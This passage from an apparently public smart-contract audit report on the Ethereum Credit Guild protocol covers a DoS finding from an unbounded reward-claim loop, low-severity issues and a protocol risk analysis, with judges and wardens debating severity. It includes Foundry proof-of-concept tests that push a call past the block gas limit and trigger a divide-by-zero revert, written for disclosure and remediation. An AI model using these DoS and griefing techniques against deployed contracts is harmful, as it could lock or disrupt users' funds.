Consider using targetTotalSupply() instead of totalSupply() in the creditMultiplier slashing calculation:

    // ProfitManager:330
    // update the CREDIT multiplier
-   uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
+   uint256 creditTotalSupply = CreditToken(_credit).targetTotalSupply();
    uint256 newCreditMultiplier = (creditMultiplier *
        (creditTotalSupply - loss)) / creditTotalSupply;
    creditMultiplier = newCreditMultiplier;
    emit CreditMultiplierUpdate(
        block.timestamp,
        newCreditMultiplier
    );

Assessed type

Math

eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:

Confirming this issue, and thanks a lot for the quality of the report!

I wonder if this should be qualified as “Medium”, as duplicates of this issue are qualified as Medium. Even though the protocol could end up with funds left in the PSM, all users are treated the same way, and there is always the possibility to recover the funds and organize and airdrop / multisend.

TrungOre (judge) decreased severity to Medium

btk (warden) commented:

@TrungOre - I believe that this issue should be a high because the creditMultiplier directly influences the value of CREDIT in the system. Using the incorrect method will lead to an inaccurate representation of the CREDIT value. Note that creditMultiplier can only decrease, and due to the current logical error, it’s diminishing too quickly, resulting in direct losses for borrowers and holders.

Soul22 (warden) commented:

I agree with @btk - this issue should be a high.

0xStalin (warden) commented:

@eswak - Could you take a second look at this? Doesn’t the CreditToken.totalSupply() return the total number of the tokens in existence? If a slashing event occurs, why would the creditMultiplier need to consider the future rewards (__unmintedRebaseRewards.targetValue)? Aren’t those tokens locked until a date in the future? Why would the slashing consider those future rewards in the present?

Suppose a slashing occurs on day 2 of the reward’s distribution, why would the rewards from day 3 to day 30 need to be considered as part of the existing supply? Is it not the purpose of the distribution of rewards to lock rewards and as time passes, slowly unlock them to be part of the existing supply?

I think the value of the creditMultiplier is correctly calculated by using the amount of existing supply at the moment when the slashing event occurs. I reiterate again, why is a supply that is meant to be unlocked in the future would need to be considered in the present?

I just want to emphasize, the unmintedRewards are indeed considered when reading from CreditToken.totalSupply(). Understanding that unmintedRewards are those rewards that have been unlocked based on the total time that has passed since they have been added to the distribution period. On the other hand, the future unminted rewards (__unmintedRebaseRewards.targetValue) are the ones that I believe should not be considered part of the supply in the present, because those rewards are yet to be slowly added to the supply in the future, not in the present.

0xStalin (warden) commented:

I’ve taken a second look at the report and the problem seems to be a legit issue, if the undistributed rewards are not included as part of the existing supply at the moment of the slashing, that would bring down the creditMultiplier more than what it should. If all the undistributed rewards are included, this would cause that the PSM module has more PeggedTokens than what they could be claimed for using the total CreditTokens in existence.

As for the severity, I think @eswak has a point in his comment (severity should be medium). All the funds that would’ve been left in the PSM could’ve been recovered and distributed to the users so they ended up equal as if the creditMultiplier would’ve been updated considering all the supply. The users would not lose their assets permanently, right? It would be a temporary loss while the extra funds are correctly distributed. It may take some extra work, but in the end, all users could get the exact amount of PeggedTokens they could’ve claimed if the creditMultiplier had been updated correctly. No PeggedTokens would be lost in reality and there would only be more PeggedTokens in the PSM module than the total PeggedTokens that could be claimed for. Thus, the extra tokens can be claimed by governance and distributed accordingly, making whole to all the users.

TL:DR; no funds are lost, the extra tokens are left in the PSM module, and they can be claimed by governance and distributed accordingly.

Plus, all new minting and borrowing, and basically everything, from that point onwards will use the new value of the creditMultiplier, even though it was brought down more than what it should. All the accounting from that point and beyond it will use the new value of the creditMultiplier.

3docSec (warden) commented:

@0xStalin - the point of the credit multiplier update, and the goal of the math behind it, is to depreciate the synthetic versus the underlying so that:

  • All synthetics are redeemable (solvency).
  • When all synthetics are redeemed, the protocol does not hold value locked (correctness to users).

This report proves how the second point is not respected, so value can remain locked in the protocol at the user’s expense. This should be clear in the PoC but you are very right that I should have point it out in the report.

@TrungOre - A few wardens suggested this finding could be high and I tend to agree with that because the remediation of a governance action suggested by the sponsor may in practice not always be feasible in terms of:

  • Time to figure out a potentially large number of affected users and the exact extent of the loss for each of them.
  • Preparing and having governance token holders review and vote a large proposal that includes an emergency action for each and every one of the affected users.
  • The cost in terms of gas of executing such proposal and the “always lost” choice of whether refunding users whose loss is lower than the cost of gas to refund them.

0xStalin (warden) commented:

@3docSec - For the points that you’ve just mentioned is exactly why this fits as a medium severity. Yes, it may take some extra work to governance for preparing the distribution of the extra PeggedTokens left in the PSM module. As for the second point, how much gas does it take to make an ERC20 transfer? Include it inside a batch of transfers, and how much would it cost to make full the user? Unless the user’s difference was less than 1-2 usd then it might be more expensive to credit the difference, but even though, that is doable, that’s the reason why this is fine as a medium severity. For a report to be classified as a high severity, there should be a permanent loss of funds, a way that it is impossible to recover them.

btk (warden) commented:

@0xStalin, not all borrowers will redeem their credit in the PSM. Those holding credit during a loss will incur more losses than they should. Any thoughts on how governance can refund them?

0xStalin (warden) commented:

@btk - Those incurred losses for the holders are exactly what it should be distributed by governance. As for the question of how could governance refund them, The SimplePSM contract inherits from the CoreRef contract, the CoreRef has the emergencyAction(), governance can simply craft a calldata to transfer the extra PeggedTokens that needs to be distributed to the holders who were impacted by the creditMultiplier going down more than what it should. So, governance transfers those PeggedTokens to an account of their own, they collect the information of how many PeggedTokens need to be sent to who to cover the difference and then they do those transfers in batch. That’s it, governance recovered the extra tokens and distributed them.

That is because I consider this issue not to be a high severity. The tokens are not lost and they are not stuck forever in the PSM.

TrungOre (judge) commented:

I consider this issue as medium because it doesn’t cause a direct loss to the protocol or users. As the sponsor stated, the protocol could end up with funds left in the PSM, but all users are treated the same way, and Governor can still recover the funds by emergencyActions.


[M-25] SurplusGuildMinter.getReward() is susceptible to DoS due to unbounded loop

Submitted by critical-or-high, also found by Chinmay, Akali, serial-coder, 0xadrii, 0xpiken, and Tendency

The SurplusGuildMinter.getReward() function invokes ProfitManager.claimRewards() that in a loop claims reward through all gauges/terms for SurplusGuildMinter as follows.

function claimRewards(
    address user
) external returns (uint256 creditEarned) {
    address[] memory gauges = GuildToken(guild).userGauges(user);
    for (uint256 i = 0; i < gauges.length; ) {
        creditEarned += claimGaugeRewards(user, gauges[i]);
        unchecked {
            ++i;
        }
    }
}

Whereas SurplusGuildMinter works with all gauges, and there is no upper limit for the GuildToken.setMaxGauges(max), the length of loop could be unbounded.

Each call to stake(), unstake(), or getReward() of SurplusGuildMinter will either consume excessive amount of gas, or revert with Out-Of-Gas reason after certain number of gauges/terms were added.

Proof of Concept

  1. Alice stakes Credit tokens in SurplusGuildMinter.
  2. Some number of terms are added to the protocol.
  3. When further Alice tries to call stake(), unstake(), or getReward(), the call reverts due to Out-Of-Gas reason:
    // Put inside test/unit/loan/SurplusGuildMinter.t.sol
    function test_dos() public {
        address alice = address(789);

        // Number of terms that triggers OOG for stake/unstake/getReward
        uint256 numTerms = 6500;
        address[] memory terms = new address[](numTerms);

        guild.setMaxGauges(numTerms + 1);

        credit.mint(alice, 10e18);

        // Alice stakes Credit tokens
        vm.startPrank(alice);
        credit.approve(address(sgm), 10e18);
        sgm.stake(term, 10e18);
        vm.stopPrank();

        // Create terms
        credit.mint(address(this), 10e18 * numTerms);
        credit.approve(address(sgm), 10e18 * numTerms);
        for (uint256 i; i < numTerms; i++) {
            address _term = address(new MockLendingTerm(address(core)));
            terms[i] = _term;
            guild.addGauge(1, _term); // gaugeType = 1
            sgm.stake(_term, 10e18);
        }

        uint256 gasBefore =  gasleft();

        // Alice tries to call getRewards()
        sgm.getRewards(alice, term);

        uint256 gasAfter =  gasleft();

        uint256 BLOCK_GAS_LIMIT = 30e6;
        
        // getRewards() consumes more gas than block gas limit of 30Mil
        // reverts with OOG
        require(gasBefore - gasAfter > BLOCK_GAS_LIMIT);
    }

Run Poc with the following command: forge test --mp test/unit/loan/SurplusGuildMinter.t.sol --mt test_dos

Inside SurplusGuildMinter.getReward(user, term) call:

ProfitManager(profitManager).claimRewards(address(this), term)

Instead of:

ProfitManager(profitManager).claimRewards(address(this))

Since the purpose of SurplusGuildMinter.getReward(user, term) is to update the profit index only for a specific term, so there is no need to update profit indexes across all available terms.

Assessed type

DoS

eswak (Ethereum Credit Guild) confirmed via duplicate issue #1110

TrungOre (judge) commented:

I chose this issue to be the primary issue since it has a clear description and contains a PoC.

btk (warden) commented:

@TrungOre, this issue stems from an admin mistake making low based on c4 severity standardization:

Reckless admin mistakes are invalid.

PS: It is very unlikely that the GAUGE_PARAMETERS role will set max gauges to 6500.

serial-coder (warden) commented:

@btk - You misunderstood. The configuration in the deployment script allows the SurplusGuildMinter contract to subscribe to terms over the maximum gauges setting (unlimited!).

Note: to view the provided image, please see the original submission here.

0xStalin (warden) commented:

@serial-coder - I would like to understand a little bit more about this. So, the configuration deployment script allows the SurplusGuildMinter to subscribe to an unlimited number of gauges, but, isn’t the admin role the one who has the permissions to subscribe a SurplusGuildMinter to terms?

I think @btk has a point here. If the admin is the only one who can subscribe the SurplusGuildMinter to terms, then, subscribing to such an excessing amount of terms would be an admin mistake, isn’t it?

serial-coder (warden) commented:

@0xStalin - You might have an incorrect assumption. The protocol lets GUILD community voters vote for onboarding lending terms. Specifically, the GUILD holders can vote to onboard and register lending terms to the SurplusGuildMinter contract through the LendingTermOnboarding::proposeOnboard().

This is not specific to protocol admins. As long as the term receives a sufficient voting quorum, it will be registered to the SurplusGuildMinter contract.

0xStalin (warden) commented:

@serial-coder - But also, the GUILD community voters have the incentive to vote against onboarding a lending term that is not beneficial for them, right? So, what is the incentive for a “malicious user” or “malicious voter” to max out the number of terms that a SuplusGuildMinter can have? Considering they need to pay gas for all those transactions, plus, they need to put down PeggedTokens so they can earn CreditTokens to eventually earn GUILD tokens as rewards?

carrotsmuggler (warden) commented:

Looks quite unlikely, in my opinion. If we look at the uniswapV2 factory contract, we see there was only ever 1956 pair deployments on a permissionless free-for-all contract. Expecting a semi-permissioned system to hit 6k+ is extremely unrealistic. OOG errors should only be valid if there is a straightforward way to trigger them. While the impact is high, the likelihood is extremely low, and should be downgraded.

TrungOre (judge) commented:

I understand that the likelihood of this issue occurring is very low, but there is no evidence to prove that it cannot happen in the future. The PoC test used 6500 terms, but they didn’t transfer any rewards. Therefore, the number of terms needed to exceed the block gas limit in a real case is much lower, as transferring tokens will consume a significant amount of gas. The protocol might have a large number of active lending terms across multiple markets in the future, so there is no guarantee that this number is always safe. This vulnerability has a significant impact, which will cause losses to mitigate, so I believe medium severity is appropriate. Additionally, the sponsor didn’t dispute its severity.


Low Risk and Non-Critical Issues

For this audit, 23 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by SBSecurity received the top score from the judge.

The following wardens also submitted reports: beber89, EVDoc, Cosine, 0xbepresent, lsaudit, ether_sky, Bauchibred, deliriusz, tsvetanovv, EloiManuel, ZanyBonzy, Aymen0909, nadin, klau5, 0xaltego, Tendency, Sathish9098, rvierdiiev, HighDuty, hals, grearlake, and Timeless.

Issue Summary

ID Title
[01] ProfitManager::donateToTermSurplusBuffer() does not check if the term is from the same market
[02] ProfitManager::NotifyPnL will revert in case of loss == (_surplusBuffer + termSurplusBuffer)
[03] MinBorrow must be based on the market token
[04] gUSDC onboarder can allow implementation of other markets (eg. gWETH)
[05] CoreRef::emergencyAction is susceptible to returnbomb attack
[06] If borrower becomes blacklisted for his collateral his loan needs to be forgiven in case to receive it
[07] IncrementGauge can be called with 0 weight
[08] Setters should prevent re-setting of the same value
[09] Credit rewards accrue for slashed users
[10] Hardcoded block numbers will lead to unsuccessful off-boarding
[11] Hardcoded Min_stake of 1e18 doesn’t incentivize staking expensive tokens

[01] ProfitManager::donateToTermSurplusBuffer() does not check if the term is from the same market

Users can lose their CREDIT tokens by calling or donateToTermSurplusBuffer for a non-existing term and transferring their tokens to the wrong or eventually non-existing address.

ProfitManager.sol#L258-L264

/// @notice donate to surplus buffer of a given term
function donateToTermSurplusBuffer(address term, uint256 amount) external {
    CreditToken(credit).transferFrom(msg.sender, address(this), amount);
    uint256 newSurplusBuffer = termSurplusBuffer[term] + amount;
    termSurplusBuffer[term] = newSurplusBuffer;
    emit TermSurplusBufferUpdate(block.timestamp, term, newSurplusBuffer);
}

They won’t be able to rescue their tokens unless contract/user with GUILD_SURPLUS_BUFFER_WITHDRAW role calls it for a user who has lost his tokens.

ProfitManager.sol#L277-L287

/// @notice withdraw from surplus buffer
function withdrawFromSurplusBuffer(address to, uint256 amount)
    external
    onlyCoreRole(CoreRoles.GUILD_SURPLUS_BUFFER_WITHDRAW)
{
    uint256 newSurplusBuffer = surplusBuffer - amount; // this would revert due to underflow if withdrawing > surplusBuffer
    surplusBuffer = newSurplusBuffer;
    CreditToken(credit).transfer(to, amount);
    emit SurplusBufferUpdate(block.timestamp, newSurplusBuffer);
}

Recommendation

Consider adding check if term is actually a LendingTerm contract, modify donateToTermSurplusBuffer:

/// @notice donate to surplus buffer of a given term
function donateToTermSurplusBuffer(address term, uint256 amount) external {
+   require(LendingTerm(term).getReferences().creditToken == credit, "ProfitManager: term from wrong market!");     
    CreditToken(credit).transferFrom(msg.sender, address(this), amount);
    uint256 newSurplusBuffer = termSurplusBuffer[term] + amount;
    termSurplusBuffer[term] = newSurplusBuffer;
    emit TermSurplusBufferUpdate(block.timestamp, term, newSurplusBuffer);
}

[02] ProfitManager::NotifyPnL will revert in case of loss == (_surplusBuffer + termSurplusBuffer)

An edge case can occur if notifyPnL is called from LendingTerm with an amount equal to the sum of _surplusBuffer and termSurplusBuffer. The result will be a revert because divide by zero will occur since loss -= _surplusBuffer that will prevent the bad debt realization:

function notifyPnL(address gauge, int256 amount) external onlyCoreRole(CoreRoles.GAUGE_PNL_NOTIFIER) {
        ... More code
            if (_termSurplusBuffer != 0) {
                termSurplusBuffer[gauge] = 0;
                emit TermSurplusBufferUpdate(block.timestamp, gauge, 0);
                _surplusBuffer += _termSurplusBuffer;
            }

            if (loss < _surplusBuffer) {
                // deplete the surplus buffer
                surplusBuffer = _surplusBuffer - loss;
                emit SurplusBufferUpdate(block.timestamp, _surplusBuffer - loss);
                CreditToken(_credit).burn(loss);
            } else {
                // empty the surplus buffer
                loss -= _surplusBuffer; //@audit will be equal to zero
                surplusBuffer = 0;
                CreditToken(_credit).burn(_surplusBuffer);
                emit SurplusBufferUpdate(block.timestamp, 0);

                // update the CREDIT multiplier
                uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
                uint256 newCreditMultiplier = (creditMultiplier * (creditTotalSupply - loss)) / creditTotalSupply; //@audit 0 / creditTotalSupply
                creditMultiplier = newCreditMultiplier;
                emit CreditMultiplierUpdate(block.timestamp, newCreditMultiplier);
            }
        }

Proof of Concept

  1. Navigate to src/unit/loan/SurplusGuildMinter.t.sol.
  2. Place the test.
  3. Execute the test: forge test --match-contract "SurplusGuildMinterUnitTest" --match-test "testNotifyPnLDivideByZero".
function testNotifyPnLDivideByZero() public {
    // setup
    credit.mint(address(this), 150e18);
    credit.approve(address(sgm), 150e18);
    sgm.stake(term, 150e18);
    
    profitManager.notifyPnL(term, -150e18);
}

Recommendation

While this is extremely rare scenario to occur, consider to handle the case when loss == 0 after the subtraction and take the appropriate actions, as this will indicate that loans are insolvent and term most likely will have to be off-boarded.


[03] MinBorrow must be based on the market token

In LendingTerm.sol, minBorrow is set to 100e18 on deployment which will be a problem when collateralToken is an expensive asset such as ETH(~$2000 x 100) or BTC (~$42,000 x 100). This highly decreases the target group of people who are willing to put in that much collateral and open a loan, especially in an immature protocol such as ECG.

LendingTerm.sol#L365-L368

require(borrowAmount >= ProfitManager(refs.profitManager).minBorrow(), "LendingTerm: borrow amount too low");

ProfitManager.sol#L151-L153

uint256 internal _minBorrow = 100e18;

function minBorrow() external view returns (uint256) {
    return (_minBorrow * 1e18) / creditMultiplier;
}

In addition, changing the minBorrow argument from ProfitManager::setMinBorrow() proposal should be made and it has to meet a certain quorum, which will take some time.

Recommendation

Consider setting the minBorrow from the constructor of the ProfitManager that will make the contracts more versatile and will remove the wait period for executing the setMinBorrow() function.

ProfitManager.sol#106-L108

constructor(address _core, uint minBorrow) CoreRef(_core) {
        emit MinBorrowUpdate(block.timestamp, 100e18);
+       _minBorrow = minBorrow //should be carefully chosen by the contract deployer considering the price of collateral token
}

[04] gUSDC onboarder can allow implementation of other markets (eg. gWETH)

There will be many LendingTermOnboarding.sol contracts for every CREDIT token used, but there is no check whether the implementation passed to allowImplementation function is from the same market.

There can be case when certain gWETH implementation is not allowed in the LendingTermOnboarding for gWETH, but mistakenly allowed in the LendingTermOnboarding for gUSDC. The result will be fully functioning LendingTerm onboarded from wrong contract and potentially malicious behaviour.

LendingTermOnboarding.sol#L92-L102

function allowImplementation(
        address implementation,
        bool allowed
    ) external onlyCoreRole(CoreRoles.GOVERNOR) {
        implementations[implementation] = allowed;
        emit ImplementationAllowChanged(
            block.timestamp,
            implementation,
            allowed
        );
    }

Recommendation

Consider checking if the implementation passed is with the same CREDIT token as one in the used in this particular LendingTermOnboarding.


[05] CoreRef::emergencyAction is susceptible to returnbomb attack

Emergency action defined in CoreRef.sol which is inherited from all the contracts is a good addition which can be used for various purposes (rescuing tokens, executing certain functions, etc.) but it does not use assembly for consuming the returned data which makes it vulnerable to returnbomb attack. Since this action can be used for various purposes, including calling untrusted external contracts this is a real possibility for griefing attack:

CoreRef.sol#L87-L107

/// @notice due to inflexibility of current smart contracts,
/// add this ability to be able to execute arbitrary calldata
/// against arbitrary addresses.
/// callable only by governor
function emergencyAction(Call[] calldata calls)
    external
    payable
    onlyCoreRole(CoreRoles.GOVERNOR)
    returns (bytes[] memory returnData)
{
    returnData = new bytes[](calls.length);
    for (uint256 i = 0; i < calls.length; i++) {
        address payable target = payable(calls[i].target);
        uint256 value = calls[i].value;
        bytes calldata callData = calls[i].callData;

        (bool success, bytes memory returned) = target.call{value: value}(callData);
        require(success, "CoreRef: underlying call reverted");
        returnData[i] = returned;
    }
}

Recommendation

Consider using ExcessivelySafeCall library or assembly to remove the potential vulnerability.


[06] If borrower becomes blacklisted for his collateral his loan needs to be forgiven in case to receive it

If a user is blacklisted for his collateral, trying to repay() will result in a revert. The only way to settle this loan is for the Governor to initiate forgive(), and then the Governor must transfer the tokens to the user. This design choice may not be ideal, as the user might require these tokens immediately.

Recommendation

Consider implementing a parameter when full repay is called from the borrower to be able to give another collateral receiver.


[07] IncrementGauge can be called with 0 weight

There is no check whether the passed weight from GUILD holder is greater than 0.

ERC20Gauges.sol#L219-226

function incrementGauge(address gauge, uint256 weight) public virtual returns (uint256 newUserWeight) {
        require(isGauge(gauge), "ERC20Gauges: invalid gauge");
        _incrementGaugeWeight(msg.sender, gauge, weight);
        return _incrementUserAndGlobalWeights(msg.sender, weight);
    }

We’ve been discussing potential scenario where this can be used to create an infinite loop in _decrementWeightUntilFree as the increment of i is done only in case userGaugeWeight is different than 0:

ERC20Gauges.sol#L500-L539

function _decrementWeightUntilFree(address user, uint256 weight) internal {
    uint256 userFreeWeight = balanceOf(user) - getUserWeight[user];

		// early return if already free
    if (userFreeWeight >= weight) return;

    // cache totals for batch updates
    uint256 userFreed;
    uint256 totalFreed;

    // Loop through all user gauges, live and deprecated
    address[] memory gaugeList = _userGauges[user].values();

    // Free gauges until through entire list or underweight
    uint256 size = gaugeList.length;
    for (
        uint256 i = 0;
        i < size && (userFreeWeight + userFreed) < weight;

    ) {
        address gauge = gaugeList[i];
        uint256 userGaugeWeight = getUserGaugeWeight[user][gauge];
        if (userGaugeWeight != 0) {
            userFreed += userGaugeWeight;
            _decrementGaugeWeight(user, gauge, userGaugeWeight);

            // If the gauge is live (not deprecated), include its weight in the total to remove
            if (!_deprecatedGauges.contains(gauge)) {
                totalTypeWeight[gaugeType[gauge]] -= userGaugeWeight;
                totalFreed += userGaugeWeight;
            }

            unchecked {
                ++i; //@audit only in case userGaugeWeight != 0
            }
        }
    }

    totalWeight -= totalFreed;
}

That way if a user manages to put a gauge with 0 weight at 0 position in his userGauges and after that all the others, he can effectively avoid slashing and grief the applier who calls applyGaugeLoss for him.

Other than that transfer, transferFrom and burn will always lead to infinite loop if user doesn’t have enough balance and weight has to be freed, but there is weight of 0 in the first iteration of the for loop above.

Recommendation

Verify that the weight passed is greater than 0, that will mitigate the possible griefing possibility.


[08] Setters should check if set the same value

The setter functions listed don’t check if the new value is different from the old value.

CoreRef::_setCore

function _setCore(address newCore) internal {
    address oldCore = address(_core);
    // @audit-info no check if old == new 
    _core = Core(newCore);

    emit CoreUpdate(oldCore, newCore);
}

GuildGovernor::_setQuorum

function _setQuorum(uint256 newQuorum) internal {
    emit QuorumUpdated(_quorum, newQuorum);
    // @audit-info no check if old == new
    _quorum = newQuorum;
}

GuildVetoGovernor::_setQuorum

function _setQuorum(uint256 newQuorum) internal virtual {
    emit QuorumUpdated(_quorum, newQuorum);
    // @audit-info old == new check
    _quorum = newQuorum;
}

GuildVetoGovernor::_updateTimelock

function _updateTimelock(address newTimelock) private {
    emit TimelockChange(timelock, newTimelock);
    // @audit-info old == new check
    timelock = newTimelock;
}

Recommendation

Add checks to verify that the new value is not equal to the old value.


[09] Credit rewards accrue for slashed users

Note: At the judge’s request here, this downgraded issue from the same warden has been included in this report for completeness.

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L216-L290

Impact

Slashed stakers will lose their GUILD tokens but will still receive CREDIT tokens once more because creditReward is not zeroed like guildReward in SurplusGuildMinter::getRewards(). That will eventually create bad debt in the system as all the stakers for this term will be slashed and their rewards have to be lost, but this is not the case for the CREDIT tokens.

Proof of Concept

We can see in the getRewards() function that _profitIndex is updated in ProfitManager.claimRewards() which will increase deltaIndex and despite the user being slashed he will still receive the CREDIT tokens that he would have if he hadn’t been slashed:

SurplusGuildMinter#L244-L264

function getRewards(address user, address term)
    public
    returns (
        uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
        UserStake memory userStake, // stake state after execution of getRewards()
        bool slashed // true if the user has been slashed
    )
{
    bool updateState;
    lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
    if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
        slashed = true;
    }

    // if the user is not staking, do nothing
    userStake = _stakes[user][term];
    if (userStake.stakeTime == 0)
        return (lastGaugeLoss, userStake, slashed);

    // compute CREDIT rewards
    ProfitManager(profitManager).claimRewards(address(this)); // this will update profit indexes
    uint256 _profitIndex = ProfitManager(profitManager).userGaugeProfitIndex(address(this), term);
    uint256 _userProfitIndex = uint256(userStake.profitIndex);
    if (_profitIndex == 0) _profitIndex = 1e18;
    if (_userProfitIndex == 0) _userProfitIndex = 1e18;

    uint256 deltaIndex = _profitIndex - _userProfitIndex;

    if (deltaIndex != 0) {
        uint256 creditReward = (uint256(userStake.guild) * deltaIndex) / 1e18;
        uint256 guildReward = (creditReward * rewardRatio) / 1e18;
        if (slashed) {
            guildReward = 0;
            //@audit creditRewards = 0 is missing
        }

        // forward rewards to user
        if (guildReward != 0) {
            RateLimitedMinter(rlgm).mint(user, guildReward);
            emit GuildReward(block.timestamp, user, guildReward);
        }
        if (creditReward != 0) {
            //@audit will receive them despite being slashed
            CreditToken(credit).transfer(user, creditReward);
        }
... More code
    }

Consider setting creditReward to 0 when user passed is staked in order to not transfer any CREDIT tokens to him when he is slashed:

function getRewards(address user, address term)
        public
        returns (
            uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
            UserStake memory userStake, // stake state after execution of getRewards()
            bool slashed // true if the user has been slashed
        )
    {
... More code
        uint256 _profitIndex = ProfitManager(profitManager).userGaugeProfitIndex(address(this), term);
        uint256 _userProfitIndex = uint256(userStake.profitIndex);
        if (_profitIndex == 0) _profitIndex = 1e18;
        if (_userProfitIndex == 0) _userProfitIndex = 1e18;

        uint256 deltaIndex = _profitIndex - _userProfitIndex;

        if (deltaIndex != 0) {
            uint256 creditReward = (uint256(userStake.guild) * deltaIndex) / 1e18;
            uint256 guildReward = (creditReward * rewardRatio) / 1e18;
            if (slashed) {
                guildReward = 0;
+               creditReward = 0
            }

            // forward rewards to user
            if (guildReward != 0) {
                RateLimitedMinter(rlgm).mint(user, guildReward);
                emit GuildReward(block.timestamp, user, guildReward);
            }
            if (creditReward != 0) {
                //@audit will receive them despite being slashed
                CreditToken(credit).transfer(user, creditReward);
            }
... More code
        }

Assessed type

Context

TrungOre (judge) decreased severity to Low


[10] Hardcoded block numbers will lead to unsuccessful off-boarding

Note: At the judge’s request here, this downgraded issue from the same warden has been included in this report for completeness.

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOffboarding.sol#L36

Impact

Off-boarding is with a duration of 46523 blocks (7 days), calculated from block.number on the Ethereum chain 13 sec/block, but the development team wants to deploy in L2 chains as well:

Deployment: we anticipate to launch on Ethereum mainnet & L2s like Arbitrum.

There is no way to change the off-boarding duration and most of the proposals on the L2 chains will fail due to the high amount of votes required in a short amount of period.

Proof of Concept

https://github.com/0xJuancito/multichain-auditor?tab=readme-ov-file#block-production-may-not-be-constant

The most widely used L2 chains are Arbitrum, Optimism, and Polygon zkEVM. But the average block time is different on all of them:

  • Arbitrum - 0.26 sec.
  • Optimism - 2 sec.
  • Polygon zkEVM - 7 sec.

On Optimism 46523 blocks will pass for approximately 26 hours as there are 1800 blocks per hour.

If we take Arbitrum 46523 blocks will pass for approximately 3 hours and 36 minutes as there are 13846 blocks per hour.

We can see from the proposals (GIP_0.sol) 10_000_000e18 set as an OFFBOARD_QUORUM and we can conclude that there is no way quorum to be satisfied within 216 minutes.

Governor can change the quorum for a given LendingTermOffboarding.sol contract but this exposes risk as this will significantly decrease the decentralization.

Consider allowing the deployer to set the POLL_DURATION_BLOCKS from the constructor instead of assigning it to constant.

Assessed type

Math

TrungOre (judge) decreased severity to Low


[11] Hardcoded Min_stake of 1e18 doesn’t incentivize staking expensive tokens

Note: At the judge’s request here, this downgraded issue from the same warden has been included in this report for completeness.

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L26

Impact

Each CREDIT Token holder (gUSDC, gWETH, gWBTC, etc.) can stake them and start voting in a gauge. However, there’s a minimum staking amount (MIN_STAKE) of 1e18. This means that for certain markets, staking will be more expensive compared to others because of this fixed minimum stake requirement.

Proof of Concept

For instance, in the case of gUSDC, users looking to stake will need to provide approximately 1 USDC (based on creditMultiplier). On the other hand, for gWBTC, they would need to stake around 1 BTC ($42,000 at the time of writing). This could discourage users from staking in such terms.

contract SurplusGuildMinter is CoreRef {
    /// @notice minimum number of CREDIT to stake
    uint256 public constant MIN_STAKE = 1e18;
....

Include the MIN_STAKE value in the constructor, making it dependent on the Credit Token for that specific term.

Assessed type

Context

TrungOre (judge) decreased severity to Low

TrungOre (judge) commented via issue #1061:

[01] - Low
[02] - Low
[03] - Information
[04] - Low
[05] - Information
[06] - Low
[07] - Low
[08] - Non-Critical
[09] - Low
[10] - Low
[11] - Low


Audit Analysis

For this audit, 10 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by Sathish9098 received the top score from the judge.

The following wardens also submitted reports: SBSecurity, 0xSmartContract, beber89, hunter_w3b, invitedtea, JayShreeRAM, 14si2o_Flint, pavankv, and Myd.

Overview

The Ethereum Credit Guild is a DeFi protocol featuring a dual-token system: GUILD for governance and gUSDC as a debt token.

Smart Contracts: Utilizes contracts like LendingTerm for loan conditions, and AuctionHouse for asset liquidation.

Gauge Voting System: Allows GUILD holders to vote on credit limits and loan terms, aligning governance with financial outcomes.

Token Mechanics: GUILD tokens are minted via staking gUSDC, with functionalities centered around protocol governance.

Risk and Debt Management: Implements strategies for managing bad debt and liquidation, adjustable through governance votes.

Decentralized Governance: Employs a governance model allowing token holders to make key protocol decisions, ensuring community-driven management.

Project’s Risk Model

Risks of using forgive() function

 function forgive(bytes32 loanId) external {
        // this view function will revert if the auction is not started,
        // or if the auction is already ended.
        (, uint256 creditAsked) = getBidDetail(loanId);
        require(creditAsked == 0, "AuctionHouse: ongoing auction");

        // close the auction in state
        auctions[loanId].endTime = block.timestamp;
        nAuctionsInProgress--;

        // notify LendingTerm of auction result
        address _lendingTerm = auctions[loanId].lendingTerm;
        LendingTerm(_lendingTerm).onBid(
            loanId,
            msg.sender,
            0, // collateralToBorrower
            0, // collateralToBidder
            0 // creditFromBidder
        );

        // emit event
        emit AuctionEnd(
            block.timestamp,
            loanId,
            LendingTerm(_lendingTerm).collateralToken(),
            0, // collateralSold
            0 // debtRecovered
        );
    }

Technical Implications

Debt Obligation Erasure: The borrower’s debt is erased without any repayment or collateral recovery, leading to a direct financial loss for the protocol.

CreditMultiplier Impact: In protocols where a creditMultiplier affects loan calculations, such losses might necessitate adjustments to this multiplier, impacting all borrowers and the tokenomics.

Protocol’s Risk Exposure

Financial Health: Accumulation of such losses can strain the protocol’s financial reserves.

Risk Management: It highlights potential gaps in the risk assessment framework, particularly in collateral valuation and liquidity.

Tokenomics and Inflationary Pressure: If the protocol compensates for losses by minting new tokens (e.g., CREDIT), it could lead to inflationary pressure. This impacts the trust and stability of the native token.

Example Scenario:

Suppose a borrower has a loan of 5,000 CREDIT against a certain crypto-asset as collateral. A significant market event renders the asset worthless. The auction fails to attract bidders, leading to the invocation of forgive.

Systemic risks

gUSDC Value Fluctuations Risks

gUSDC, being pegged to USDC, should ideally maintain a stable value. However, if its value deviates significantly from USDC (due to market dynamics, liquidity issues, or rebasing mechanics), this could impact the borrowing and lending operations.

Impact on Lending and Borrowing Operations

Loan-to-Value (LTV) Ratio Volatility: gUSDC fluctuations directly impact LTV ratios in lending protocols. A drop in gUSDC value could suddenly increase LTVs, signaling higher risk for lenders. Conversely, an increase might lower LTVs, potentially underutilizing collateral.

